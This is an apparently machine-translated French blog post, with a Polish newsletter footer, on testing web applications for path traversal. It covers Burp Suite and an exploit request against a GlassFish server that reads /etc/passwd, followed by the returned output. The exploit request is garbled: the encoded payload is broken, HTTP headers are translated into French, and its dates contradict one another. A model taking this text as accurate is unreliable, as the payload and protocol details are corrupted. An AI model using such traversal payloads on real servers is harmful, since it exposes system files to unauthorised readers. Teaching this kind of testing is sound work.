Tester la vulnérabilité du « chemin traversal »

L’étude de vulnérabilité de type« path traversal »consiste à vérifier si une application Web permet un accès non autorisé à des fichiers ou répertoires auxquels il devrait être interdit d’accès. Pour effectuer ce type d’attaque, vous utilisez des paramètres transmis à l’application qui indiquent les chemins d’accès aux ressources sur lesquelles des opérations spécifiques sont effectuées, par exemple la lecture, l’écriture ou l’affichage du contenu du catalogue. Par conséquent, cela peut conduire à la divulgation d’informations redondantes, de fichiers de configuration et même de possibilités d’exécution de code à distance. La vulnérabilité « path traversal » peut se produire dans différents éléments du logiciel ou de ses fonctions. Il n’y a pas de place qui peut être ignorée lors des essais, mais il existe des fonctionnalités auxquelles il convient d’accorder une attention particulière:

  • les fonctions responsables du téléchargement des fichiers à partir du serveur,
  • fonctions chargées de charger les paramètres de l’application (modèles, styles, langue d’interface),
  • fonctions responsables du téléchargement de fichiers sur le serveur.


Pour tester la vulnérabilité "pathtraversal« , vous pouvez utiliser un proxy HTTP par exemple. Burp Suite Proxy. Il permet de manipuler les paramètres représentant le chemin en ajoutant des chaînes appropriées, par exemple. ".. / », visant à « sauter » du catalogue en cours de traitement. Exemple dans les graphiques suivants:

Pour tester la vulnérabilité « path traversal », vous pouvez utiliser un proxy HTTP, par exemple. Burp Suite Proxy

Un autre exemple de vulnérabilité de la « voie de traverse » pourrait être une erreur d’août 2015 trouvée sur le serveur d’applications GlassFish. L’appel de la demande correspondante, comme indiqué ci-dessous, vous a permis de lire n’importe quel fichier à partir du disque :

GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%c0%af%c0%ae%c0%ae%c0%c0%af%c ae%ae%c0%ae%af%c0%ae%c0%ae%c0%af%c0%ae%ce%c0%af%c0%ae%ae%c0%ae%ae%ae%c0%ae%ae%c0%ae%c0%c0%c0%ae%ae%c0%ae%c0%c0%ae%c0%c0%c0%c0%c0%c0%c0%c0%c0%c0%c0%c0%c0 %ae%c0%af%c0%ae%ae%c0%af%c0%ae%ae%ae%c0%af%c0%ae%c0%ae%c0%ae%c0%afetc%c0%afpasswd
HTTP/1.1
Hôte: 127.0.0.1:4848
Accepter: */*
Accept-Language: en
Connexion: close


En réponse, le serveur renvoie le contenu du fichier /etc/passwd :

HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1
Java/Oracle Corporation/1.7)
Dernière modification: Tue, 13 Jan 2015 10:00:00 GMT
Date: Tue, 10 Jan 2015 10:00:00 GMT
Connexion:
contenu-longueur proche: 1087
racine:!:16436:0:99999:7:::
daemon::16273:0:99999:07:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
[...]

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). <br> Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Pour marque-pages : Permaliens.

Podziel się swoją opinią na temat artykułu